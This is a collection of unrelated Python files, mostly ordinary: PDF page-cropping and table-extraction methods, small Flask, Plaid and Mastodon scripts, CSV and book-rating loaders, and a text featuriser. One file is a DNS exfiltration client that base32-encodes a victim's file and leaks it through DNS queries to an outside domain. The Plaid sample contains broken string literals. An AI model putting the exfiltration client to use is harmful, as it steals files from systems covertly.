    def find_tables(
        self, table_settings: Optional[T_table_settings] = None
    ) -> List[Table]:
        tset = TableSettings.resolve(table_settings)
        return TableFinder(self, tset).tables

    def find_table(
        self, table_settings: Optional[T_table_settings] = None
    ) -> Optional[Table]:
        tset = TableSettings.resolve(table_settings)
        tables = self.find_tables(tset)

        if len(tables) == 0:
            return None

        # Return the largest table, as measured by number of cells.
        def sorter(x: Table) -> Tuple[int, T_num, T_num]:
            return (-len(x.cells), x.bbox[1], x.bbox[0])

        largest = list(sorted(tables, key=sorter))[0]

        return largest

    def extract_tables(
        self, table_settings: Optional[T_table_settings] = None
    ) -> List[List[List[Optional[str]]]]:
        tset = TableSettings.resolve(table_settings)
        tables = self.find_tables(tset)
        return [table.extract(**(tset.text_settings or {})) for table in tables]

    def extract_table(
        self, table_settings: Optional[T_table_settings] = None
    ) -> Optional[List[List[Optional[str]]]]:
        tset = TableSettings.resolve(table_settings)
        table = self.find_table(tset)
        if table is None:
            return None
        else:
            return table.extract(**(tset.text_settings or {}))

    def _get_textmap(self, **kwargs: Any) -> TextMap:
        defaults = dict(x_shift=self.bbox[0], y_shift=self.bbox[1])
        if "layout_width_chars" not in kwargs:
            defaults.update({"layout_width": self.width})
        if "layout_height_chars" not in kwargs:
            defaults.update({"layout_height": self.height})
        full_kwargs: Dict[str, Any] = {**defaults, **kwargs}
        return utils.chars_to_textmap(self.chars, **full_kwargs)

    def search(
        self,
        pattern: Union[str, Pattern[str]],
        regex: bool = True,
        case: bool = True,
        main_group: int = 0,
        return_chars: bool = True,
        return_groups: bool = True,
        **kwargs: Any,
    ) -> List[Dict[str, Any]]:
        textmap = self.get_textmap(**kwargs)
        return textmap.search(
            pattern,
            regex=regex,
            case=case,
            main_group=main_group,
            return_chars=return_chars,
            return_groups=return_groups,
        )

    def extract_text(self, **kwargs: Any) -> str:
        return self.get_textmap(**kwargs).as_string

    def extract_text_simple(self, **kwargs: Any) -> str:
        return utils.extract_text_simple(self.chars, **kwargs)

    def extract_words(self, **kwargs: Any) -> T_obj_list:
        return utils.extract_words(self.chars, **kwargs)

    def extract_text_lines(
        self, strip: bool = True, return_chars: bool = True, **kwargs: Any
    ) -> T_obj_list:
        return self.get_textmap(**kwargs).extract_text_lines(
            strip=strip, return_chars=return_chars
        )

    def crop(
        self, bbox: T_bbox, relative: bool = False, strict: bool = True
    ) -> "CroppedPage":
        return CroppedPage(self, bbox, relative=relative, strict=strict)

    def within_bbox(
        self, bbox: T_bbox, relative: bool = False, strict: bool = True
    ) -> "CroppedPage":
        """
        Same as .crop, except only includes objects fully within the bbox
        """
        return CroppedPage(
            self, bbox, relative=relative, strict=strict, crop_fn=utils.within_bbox
        )

    def outside_bbox(
        self, bbox: T_bbox, relative: bool = False, strict: bool = True
    ) -> "CroppedPage":
        """
        Same as .crop, except only includes objects fully within the bbox
        """
        return CroppedPage(
            self, bbox, relative=relative, strict=strict, crop_fn=utils.outside_bbox
        )

    def filter(self, test_function: Callable[[T_obj], bool]) -> "FilteredPage":
        return FilteredPage(self, test_function)

    def dedupe_chars(self, **kwargs: Any) -> "FilteredPage":
        """
        Removes duplicate chars — those sharing the same text, fontname, size,
        and positioning (within `tolerance`) as other characters on the page.
        """
        p = FilteredPage(self, lambda x: True)
        p._objects = {kind: objs for kind, objs in self.objects.items()}
        p._objects["char"] = utils.dedupe_chars(self.chars, **kwargs)
        return p

    def to_image(
        self,
        resolution: Optional[Union[int, float]] = None,
        width: Optional[Union[int, float]] = None,
        height: Optional[Union[int, float]] = None,
        antialias: bool = False,
    ) -> "PageImage":
        """
        You can pass a maximum of 1 of the following:
        - resolution: The desired number pixels per inch. Defaults to 72.
        - width: The desired image width in pixels.
        - height: The desired image width in pixels.
        """
        from .display import DEFAULT_RESOLUTION, PageImage

        num_specs = sum(x is not None for x in [resolution, width, height])
        if num_specs > 1:
            raise ValueError(
                f"Only one of these arguments can be provided: resolution, width, height. You provided {num_specs}"  # noqa: E501
            )
        elif width is not None:
            resolution = 72 * width / self.width
        elif height is not None:
            resolution = 72 * height / self.height

        return PageImage(
            self, resolution=resolution or DEFAULT_RESOLUTION, antialias=antialias
        )

    def to_dict(self, object_types: Optional[List[str]] = None) -> Dict[str, Any]:
        if object_types is None:
            _object_types = list(self.objects.keys()) + ["annot"]
        else:
            _object_types = object_types
        d = {
            "page_number": self.page_number,
            "initial_doctop": self.initial_doctop,
            "rotation": self.rotation,
            "cropbox": self.cropbox,
            "mediabox": self.mediabox,
            "bbox": self.bbox,
            "width": self.width,
            "height": self.height,
        }
        for t in _object_types:
            d[t + "s"] = getattr(self, t + "s")
        return d

    def __repr__(self) -> str:
        return f"<Page:{self.page_number}>"

class DerivedPage(Page):
    is_original: bool = False

    def __init__(self, parent_page: Page):
        self.parent_page = parent_page
        self.root_page = parent_page.root_page
        self.pdf = parent_page.pdf
        self.page_obj = parent_page.page_obj
        self.page_number = parent_page.page_number
        self.flush_cache(Container.cached_properties)
        self.get_textmap = lru_cache()(self._get_textmap)

def test_proposed_bbox(bbox: T_bbox, parent_bbox: T_bbox) -> None:
    bbox_area = utils.calculate_area(bbox)
    if bbox_area == 0:
        raise ValueError(f"Bounding box {bbox} has an area of zero.")

    overlap = utils.get_bbox_overlap(bbox, parent_bbox)
    if overlap is None:
        raise ValueError(
            f"Bounding box {bbox} is entirely outside "
            f"parent page bounding box {parent_bbox}"
        )

    overlap_area = utils.calculate_area(overlap)
    if overlap_area < bbox_area:
        raise ValueError(
            f"Bounding box {bbox} is not fully within "
            f"parent page bounding box {parent_bbox}"
        )

class CroppedPage(DerivedPage):
    def __init__(
        self,
        parent_page: Page,
        crop_bbox: T_bbox,
        crop_fn: Callable[[T_obj_list, T_bbox], T_obj_list] = utils.crop_to_bbox,
        relative: bool = False,
        strict: bool = True,
    ):
        if relative:
            o_x0, o_top, _, _ = parent_page.bbox
            x0, top, x1, bottom = crop_bbox
            crop_bbox = (x0 + o_x0, top + o_top, x1 + o_x0, bottom + o_top)

        if strict:
            test_proposed_bbox(crop_bbox, parent_page.bbox)

        def _crop_fn(objs: T_obj_list) -> T_obj_list:
            return crop_fn(objs, crop_bbox)

        super().__init__(parent_page)

        self._crop_fn = _crop_fn

        # Note: testing for original function passed, not _crop_fn
        if crop_fn is utils.outside_bbox:
            self.bbox = parent_page.bbox
        else:
            self.bbox = crop_bbox

    @property
    def objects(self) -> Dict[str, T_obj_list]:
        if hasattr(self, "_objects"):
            return self._objects
        self._objects: Dict[str, T_obj_list] = {
            k: self._crop_fn(v) for k, v in self.parent_page.objects.items()
        }
        return self._objects

class FilteredPage(DerivedPage):
    def __init__(self, parent_page: Page, filter_fn: Callable[[T_obj], bool]):
        self.bbox = parent_page.bbox
        self.filter_fn = filter_fn
        super().__init__(parent_page)

    @property
    def objects(self) -> Dict[str, T_obj_list]:
        if hasattr(self, "_objects"):
            return self._objects
        self._objects: Dict[str, T_obj_list] = {
            k: list(filter(self.filter_fn, v))
            for k, v in self.parent_page.objects.items()
        }
        return self._objects


from flask import Flask, render_template, request
import requests
import os

app = Flask(__name__)

url = "https://spotify23.p.rapidapi.com/search/"

headers = {
	'X-RapidAPI-Key': os.environ.get('API_KEY'),
	'X-RapidAPI-Host': os.environ.get('API_HOST')
}

@app.route('/music/<artist_name>')
def music_home(artist_name):
    print(artist_name)
    querystring = {"q":artist_name,"type":"songs","offset":"0","limit":"6","numberOfTopResults":"1"}
    api_data = requests.request("GET", url, headers=headers, params=querystring).json()

    songs = []
    for entry in api_data['albums']['items']:
        song = entry['data']
        songs.append({
            'title' : song['name'],
            'artists': [artist['profile']['name'] for artist in song['artists']['items']],
            'url': 'https://open.spotify.com/album/' + song['uri'].split(':')[-1],
            'image': song['coverArt']['sources'][-1]['url'],
        })
        # Height & width 640px

    return songs

if __name__ == '__main__':
    app.run(debug=True)


import webapp2

import plaid

# need to fill these first
CLIENT = ""   # as given by Plaid
SECRET = ""   # as given by Plaid
ACCESS_TOKEN = ""  # I assume here that you have already created this

class MainPage(webapp2.RequestHandler):

    def get(self):
        self.response.headers['Content-Type'] = 'text/html'
        w = self.response.write
        w("")
        w("")
        w('<title>Plaid Sample</title>')
        w("")
        w("")
        w("
")
        client = plaid.Client(CLIENT, SECRET, ACCESS_TOKEN)
        #res = client.transactions()
        #print res.content
        w(client.balance().content)
        w("
")
        w("")
        w("")

application = webapp2.WSGIApplication([
    ('/', MainPage),
], debug=True)


"""CSV files reader implementation."""
import csv
import os
from typing import Iterator, List

import settings

class CSVReader:
    """CSV files reader implementation."""

    text_data_folder_path = settings.INPUT_DATA_FOLDER_PATH
    csv_type_ending = ".csv"
    first_column = 0

    def read_by_one(self) -> Iterator[str]:
        """Read text from all CSV files found in data-directory one by one.

        Reads only first column. File shouldn't have header.
        """
        csv_files: List[str] = self._get_files_from_data_dir()

        for file_path in csv_files:
            with open(file_path, "r") as file:
                csv_reader = csv.reader(file)

                for row in csv_reader:
                    yield row[self.first_column]

    def _get_files_from_data_dir(self) -> List[str]:
        csv_files: List[str] = []

        for file in os.listdir(self.text_data_folder_path):
            if file.endswith(self.csv_type_ending):
                csv_file_path = self.text_data_folder_path / file

                csv_files.append(csv_file_path)

        if not csv_files:
            raise ValueError(f"No CSV file found in {self.text_data_folder_path}")

        return csv_files


import contextlib
import pylint.testutils

class BaseCheckerTestCase(pylint.testutils.CheckerTestCase):
    """Extends the basic pylint test case with easier helpers."""

    @contextlib.contextmanager
    def assertAddedMessage(self, message):
        """Assert that a msg_id occurred."""
        yield
        got = [msg.msg_id for msg in self.linter.release_messages()]
        got_str = "\n".join(repr(m) for m in got)
        msg = (
            "Expected messages did not match actual.\n"
            f"Got:\n{got_str}\n"
        )
        assert message in got, msg


import re
from collections import defaultdict
import numpy as np
import scipy.sparse as sp

from patterns import TOKEN_PATTERN, ID_PATTERN
from csr_featuriser import CSRFeaturiser

class TextAnalyser():

    def __init__(self):
        self.splitter = re.compile(TOKEN_PATTERN).findall

    def __call__(self, text):
        return self.splitter(text.lower())

class TagAnalyser():
    def __init__(self):
        self.splitter = re.compile(ID_PATTERN).findall
    def __call__(self, text):
        return self.splitter(text)

class Featuriser(CSRFeaturiser):
    """
    Featuriser for Recommender.
    Optionally performs tf-idf feature weighting.
    Transformed vectors are returned L1 normalised.
    """

    def __init__(self, analyzer, min_document_frequency, min_interaction_count,
                 feature_idf, dtype=np.float32):
        """
        Words that appear in less than `min_document_frequency` documents
        are discarded as well as those with document frequency times
        document `seen_count` smaller than `min_interaction_count`.
        """
        super().__init__(analyzer, vocab=None, dtype=dtype, binary=False)
        self.min_interaction_count = min_interaction_count
        self.min_document_frequency = min_document_frequency
        self.feature_idf = feature_idf

    def fit(self, id_document_iter, interaction_counts):
        """
        Build a vocabulary of unigrams by iterating over the (id, text) pairs
        of `id_document_iter`, keeping those unigrams that appear in at least
        `self.min_document_frequency` documents, the sum of whose interactions
        (as specified by the dict `interaction_counts`) is at least
        `self.min_interaction_count`.
        Fit also the IDF feature weights, if `self.feature_idf`.
        """
        vocab_df = defaultdict(lambda: 0)   # map word -> document frequency
        vocab_ic = defaultdict(lambda: 0)   # map word -> interaction count
        num_docs = 0

        for doc_id, doc in id_document_iter:
            doc_vocab = set()
            for word in self.analyzer(doc):
                doc_vocab.add(word)
            for word in doc_vocab:
                vocab_df[word] += 1
                vocab_ic[word] += interaction_counts[doc_id]
            num_docs += 1

        vocab_ic_filtered = [(word, ic) for word, ic in vocab_ic.items()
                             if vocab_df[word] >= self.min_document_frequency
                             and vocab_ic[word] >= self.min_interaction_count]

        self.vocab = [word for word, _ in sorted(vocab_ic_filtered,
                                                 key=lambda p: p[1],
                                                 reverse=True)]
        self.vocab_map = dict(zip(self.vocab, range(len(self.vocab))))

        if self.feature_idf:
            self.feature_weights = np.log([num_docs / vocab_df[word]
                                           for word in self.vocab]).astype(self.dtype)
        else:
            self.feature_weights = np.ones(len(self.vocab), dtype=self.dtype)
        return self

    def transform(self, id_document_iter):
        """
        Returns an IndexedSparseMatrix (wrapping a CSR matrix) with the
        documents ids as row labels giving the L1 normalisation of the (IDF
        weighted, if applicable) term frequency counts.
        """
        ism = super().transform(id_document_iter)
        if not len(self.feature_weights):
            # then ism has no columns, nothing more to do
            # (return, since sp.diags will fail)
            return ism
        # apply the feature weighting
        ism.M = ism.M * sp.diags(self.feature_weights, 0)
        # L1 normalise the rows (entries are non-negative)
        row_sums = np.array(ism.M.sum(axis=1))[:, 0]
        row_indices, _ = ism.M.nonzero()
        ism.M.data /= row_sums[row_indices]
        return ism


import os
import csv
import sys
import re

from surprise import Dataset
from surprise import Reader

from collections import defaultdict
import numpy as np

class BookCrossing:

    bookID_to_name = {}
    name_to_bookID = {}
    ratingsPath = './datasets/processed/ratings.csv'
    booksPath = './datasets/processed/books.csv'
    usersPath = './datasets/processed/users.csv'

    def loadBookCrossingLatestSmall(self):

        # Look for files relative to the directory we are running from

        ratingsDataset = 0
        self.bookID_to_name = {}
        self.name_to_bookID = {}

        reader = Reader(line_format='user item rating ', sep=',', rating_scale=(1,10) ,skip_lines=1)

        ratingsDataset = Dataset.load_from_file(self.ratingsPath, reader=reader)

        with open(self.booksPath, newline='', encoding='ISO-8859-1') as csvfile:
                bookReader = csv.reader(csvfile)
                next(bookReader)  #Skip header line
                for i, row in enumerate(bookReader):
                    bookID = row[0]
                    bookName = row[1]
                    self.bookID_to_name[bookID] = bookName
                    self.name_to_bookID[bookName] = bookID

        return ratingsDataset

    def getUserRatings(self, user):
        userRatings = []
        hitUser = False
        with open(self.ratingsPath, newline='') as csvfile:
            ratingReader = csv.reader(csvfile)
            next(ratingReader)
            for row in ratingReader:
                userID = int(row[0])
                if (user == userID):
                    bookID = row[1]
                    rating = float(row[2])
                    userRatings.append((bookID, rating))
                    hitUser = True
                if (hitUser and (user != userID)):
                    break

        return userRatings

    def getPopularityRanks(self):
        ratings = defaultdict(int)
        rankings = defaultdict(int)
        with open(self.ratingsPath, newline='') as csvfile:
            ratingReader = csv.reader(csvfile)
            next(ratingReader)
            for row in ratingReader:
                bookID = row[1]
                ratings[bookID] += 1
        rank = 1
        for bookID, ratingCount in sorted(ratings.items(), key=lambda x: x[1], reverse=True):
            rankings[bookID] = rank
            rank += 1
        return rankings

    def getYears(self):
        years = defaultdict(int)
        with open(self.booksPath, newline='', encoding='ISO-8859-1') as csvfile:
            bookReader = csv.reader(csvfile)
            next(bookReader)
            for row in bookReader:
                bookID = row[0]
                year = int(row[3])
                years[bookID] = year
        return years

    def getBookName(self, bookID):
        if bookID in self.bookID_to_name:
            return self.bookID_to_name[bookID]
        else:
            return ""

    def getBookID(self, bookName):
        if bookName in self.name_to_bookID:
            return self.name_to_bookID[bookName]
        else:
            return 0


import base64
import os
from pathlib import Path

import dns.resolver

class Client:
    """
    The Client class deals with the client side (the victim)
    by sending a single file from the victim
    to the server via DNS messages
    """

    def __init__(self, path: str, label_len: int, record_len: int):
        """
        :param path: a path to the file that will send to the server
        :param label_len: the max len between periods
        :param record_len: the total len of one dns record
        """
        self.check_params(path, label_len, record_len)
        self.path = path
        self.message = self.get_message()
        self.label_len = label_len
        self.record_len = record_len
        self.file_name = self.get_file_name()
        self.pkts = self.split_message()

    def encode_to_base32(self, str_):
        b = bytes(str_, 'utf-8')
        mes = base64.b32encode(b)

        b = str(mes, 'utf-8')
        b = '.'.join([b[i:i + self.label_len] for i in range(0, len(b), self.label_len)])
        b = b + '.'

        return b

    def get_message(self):
        with open(self.path, mode="r", encoding='utf-8') as file:
            lines = file.readlines()
            message = "".join(lines)
            return message

    def get_file_name(self):
        file_name = self.path.split('\\')[-1]
        return file_name

    def split_message(self):
        pkts = list()
        pkts.append(self.file_name + f" #FILENAME#")
        for i in range(0, self.message.__len__(), self.record_len):
            pkts.append(self.message[i:min(i + self.record_len, self.message.__len__())] + f" #index {i}#")
        pkts[0] += f" size={len(pkts)}"
        return pkts

    def send_messages(self):
        for i, pkt in enumerate(self.pkts):
            msg = self.encode_to_base32(pkt)
            answers = dns.resolver.query(f'{msg}legit-domain.demo', 'A')

    @staticmethod
    def check_params(path, label_len, record_len):
        if not os.path.isfile(path):
            raise FileNotFoundError(f'The given path {path} is incorrect')
        if not isinstance(label_len, int):
            raise TypeError(f'the label length must be an integer. you gave {type(label_len)}')
        if not isinstance(record_len, int):
            raise TypeError(f'the record length must be an integer. you gave {type(record_len)}')

if __name__ == '__main__':
    path = "/etc/bind/Text.txt"
    tool = Client(path=path, label_len=5, record_len=15)
    tool.send_messages()


#!/usr/bin/env python
# -*- coding: utf-8 -*-

from mastodon import Mastodon
from config import *

def tootea(toot):
    mastodon = Mastodon(
        access_token = M_ACCESS_TOKEN,
        api_base_url = M_API_BASE_URL
    )
    mastodon.status_post(toot)

if __name__ == '__main__':
    tootea("Proba")


import unittest
from scrapers import logger
import logging
from scrapers.statcan.statcan_dairy_trade import StatcanDairy
import os

class TestStatcanDairy(unittest.TestCase):

    test = StatcanDairy(CSV_FOLDER_PATH=os.environ.get("CSV_UNIT_TEST_PATH"))

    def test_statcan_dairy_scraper(self):
        statcan_logger = logger.get_logger("Statcan_logger")
        try:
            self.test.scrape()
            logging.info("Statcan returned filled CSV file")

        except Exception as e:
            statcan_logger.error("Error: crashed at testcode", str(e))
        statcan_logger.info('finished testing')
if __name__ == "__main__":
    unittest.main()